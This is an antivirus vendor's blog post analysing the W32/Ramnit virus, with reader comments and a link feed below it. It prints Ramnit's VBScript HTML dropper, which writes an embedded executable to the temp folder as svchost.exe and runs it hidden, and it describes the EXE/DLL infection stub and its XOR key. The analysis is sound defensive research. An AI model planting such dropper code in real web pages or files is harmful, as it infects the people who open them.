Categorized | Antivirus

Taking a Look at W32/Ramnit

Today we’re going to take a look at an interesting file-infector virus. W32/Ramnit infects EXE, DLL and HTML files. That last one is right; W32/Ramnit also infects HTML files to replicate itself.

Let’s start with the components of this thread. W32/Ramnit has basically three components. The infector, the infected code in EXE/DLL files, and the infected code in HTML files.

The most simple of the three is the HTML infection code. This is just a piece of Visual Basic Script code added to the end of any HTML file that the virus can find at the target machine. By looking at the code, we can see it’s very simple indeed:

</html>
<SCRIPT Language=VBScript><!--
DropFileName = "svchost.exe"
WriteData = "4D5A90000300000004000
…
0000000000000"
Set FSO = CreateObject("Scripting.FileSystemObject")
DropPath = FSO.GetSpecialFolder(2) & "\" & DropFileName
If FSO.FileExists(DropPath)=False Then
Set FileObj = FSO.CreateTextFile(DropPath, True)
For i = 1 To Len(WriteData) Step 2
FileObj.Write Chr(CLng("&H" & Mid(WriteData,i,2)))
Next
FileObj.Close
End If
Set WSHshell = CreateObject("WScript.Shell")
WSHshell.Run DropPath, 0
//--></SCRIPT>

In the preceding we can see the code assigning the name svchost.exe to a variable, and then assigning a big chunk of data to variable WriteData. If you take a close look at that data, you will notice that is starts with 4D 5A. This is usually the magic number for PE files; i.e., this is the signature of a Windows executable file.

So this variable contains a hex representation of a PE file. After that, the code tries to create a filename by joining the name of the file in the variable DropFileName with the result of VBS GetSpecialFolder(2) function. This function returns the %TEMP% path in Windows. Afterward, it tries to write the hex data to this file, but by transforming the hex representation to real hex bytes. This creates a binary file with the content of the variable WriteData. Later, the script tries to execute the newly created file with WSHshell.Run DropPath, 0.

The file itself is a copy of the infector component of W32/Ramnit, which we’ll take a look later. But first, let’s see what code is added to PE/DLL files first.

Any file infected by W32/Ramnit, either an EXE or a DLL file, will have some common characteristics.

The infection works by adding an extra section at the end of the file, and this section is usually named .ramnit. The code entry point is changed to point to the start of this section, where the virus code is located.

This code is just a dropper. It contain am embedded executable that is dropped in the system, and executed at the end. Looking at the code, we can see it’s very simple:

As we can see, the virus uses an interesting method to get its starting address. Right after saving the flags, it calls 0×48b006, which is the next instruction; this will put the address of next instruction at the top of stack as the return address for this call. It then saves this value in EAX.

The virus then takes the value in EAX, which is the address 0×0048b006, and subtracts an offset to the beginning of the code. Because there are 6 bytes to the instruction PUSHAD, this is the value subtracted from EAX. This register now points to the beginning of the infection code. The virus will use this information later to find the original entry point (OEP). This value is saved in a variable.

Next, the virus looks for the import table of the original file, and tries to find the address for LoadLibraryA() and GetProcAddress(). These offsets are all precalculated by the infector at the moment of infection.

When the virus has the addresses for these functions, it starts to load the other imports it will need:

After loading all necessary functions, the virus checks if another copy is not running before continuing:

The Mutex name and the other variables mentioned above are all located at the end of the virus code.

Having all the information it needs now, the virus proceed to decrypt the embedded file that will be dropped. The encryption is a simple XOR base with a 0×14-bytes key. The key is stored in reverse order, so the code below will use it from last to first byte. The key itself in reversed order is: 8A 27 0E 94 C1 12 F8 F3 E7 8B C5 ED 35 18 26 9C 52 3A B8.

Here is the decryption code:

After a few executions of the loop, one can see the typical PE header showing up on the memory dump.

Having decrypted the whole file, the virus code tries to create a new name for the dropped file. This name will be created based on the infected file name plus the string “Srv.” For example, if the infected file is named sample.exe, the dropped file name will be sampleSrv.exe:

After writing the decrypted content to this new file, the virus code tries to execute it by calling CreateProcessA(). With all this done, the only thing missing is for the virus code to return to the OEP and pass control back to the original executable. This is done by calculating the offset from the beginning of virus code to the OEP:

As we can see, the offset is stored in a local variable, and is calculated at infection time. This is always relative to the beginning of the virus code, although in some cases the original file is corrupted by the virus code.

In the next post, we’ll take a look at how the infection occurs by analyzing the infector component of W32/Ramnit.

We already detect this thread as W32/Ramnit.a, W32/Ramnit.a!htm, and W32/Ramnit.a.dr.

View full post on McAfee Avert Labs

Related Posts
  • Cybercriminals taking advantage of the Japanese earthquake
    Yesterday we saw a message that promised to show you a video about the disaster after the earthquake and the tsunami. It included a link, that was an executable file: http://<>/consulado/japones...
  • A Quick Look at Defensio for Protecting Facebook Activities
    I described how anti-malware firms are experimenting with tools that protect users’ interactions on social networking websites in an earlier post. There, I outlined key features of Norton Safe Web and...
  • Grandmasters of cyber-fraud look for gains: November 2010 virus review from Doctor Web
    December 3, 2010 In November cyber-criminals demonstrated even greater creativity than before. As a result, anti-virus vendors and users were confronted with new fraud techniques involving bootkit te...
  • Taking Poika Out on the Town
    We Finns hate the Swedes.It's a hockey thing.You see, hockey is the national sport in Finland. And we almost always lose to Sweden.But when we don't lose, we celebrate heavily.One tradition we...
  • What does your malware Lab look like?
    I’ve been reading a really good book lately, called Malware Analyst’s Cookbook. If you are getting into malware research, this book will really help you. If you already have some experienc...
  • Cybercrime as a business is taking off
    A major new report from Panda Security, authored by technical director Luis Corrons and his team, claims that cybercrime as a business is taking off... Full story: Computer Crime Research News...
  • A Look Back at 2010
    In the past few weeks, my colleagues and I have been exchanging views about the changes we’ve seen in the threat landscape in 2010. It didn’t come as a surprise therefore that Web threats...
  • Top Security Trends of 2010: A Look Back
    Computer and network security is a perpetual game of cat and mouse. Attackers are often adept at both following technology and social trends, and adapting attacks to exploit weak points. As 2010 come...
  • Closer look on TR/Spy.Clickpal.A
    We analyzed a Trojan Spy sample because it was interesting how it was spreading through the operating system and the way it sent out stolen information from the user. Right after execution the malwar...
  • GFI Labs Blog changes its look
    We’ve begun to change the look of the GFI Labs (formerly Sunbelt) blog and we thought we’d give our alert readers some idea of what to expect. Last June Sunbelt Software was purchased by GFI Softwar...

2 Responses to “Taking a Look at W32/Ramnit”

  1. Peter Voth says:

    I had this virus. It is nasty. Every time I thought I had eliminated it, it would come back. I eventually had to format my computer and delete every executable file on my external hard drive. I want to murder the person responsible for this abomination.

  2. BatCHROcks says:

    I had W32/Ramnit.A and W32/Ramnit.H on my laptop. I´ve only killed %PROGRAM FILES%\Microsoft\DesktopLayer.exe and cleaned the userinit key. Then it was gone.

Trackbacks/Pingbacks


Security Status

Beware Facebook "Timeline" scams http://t.co/W5EW0cVv
5 months ago
Nigerian government (unknowingly) hosts phishing website http://t.co/uQd42ENw
5 months ago
PCMag Awards McAfee All Access its Editors’ Choice: SANTA CLARA, Calif.--(BUSINESS WIRE)--McAfee today announced... http://t.co/FakV7Vd8
5 months ago
RT @mikko: I hadn't noticed Google Maps has added 3D models of buildings. Here's a (very accurate) view of F-Secure HQ in Helsinki http://t.co/IKfAZlak
5 months ago
North Koreans aren't known for their online presence. But others may be lured into clicking Kim Jong-Il 'videos' too http://t.co/yQOon6YT
5 months ago
How to Protect Your Professional Reputation on Facebook Timeline http://t.co/I4bcR2VN
5 months ago
This is pretty impressive from @Softpedia: Facebook scans 2 trillion link clicks and blocks 220 million posts each day http://t.co/vKsn9gNl
5 months ago
Need for integrated approach to security in industrial control systems - http://t.co/tPBCNOow with @PikeResearch
5 months ago
Some free-based music we play at work http://t.co/xu5agZfc
5 months ago
Japan’s cyber defense weapon: a virus. It includes quotes by @Luis_Corrons via @InfosecurityMag
5 months ago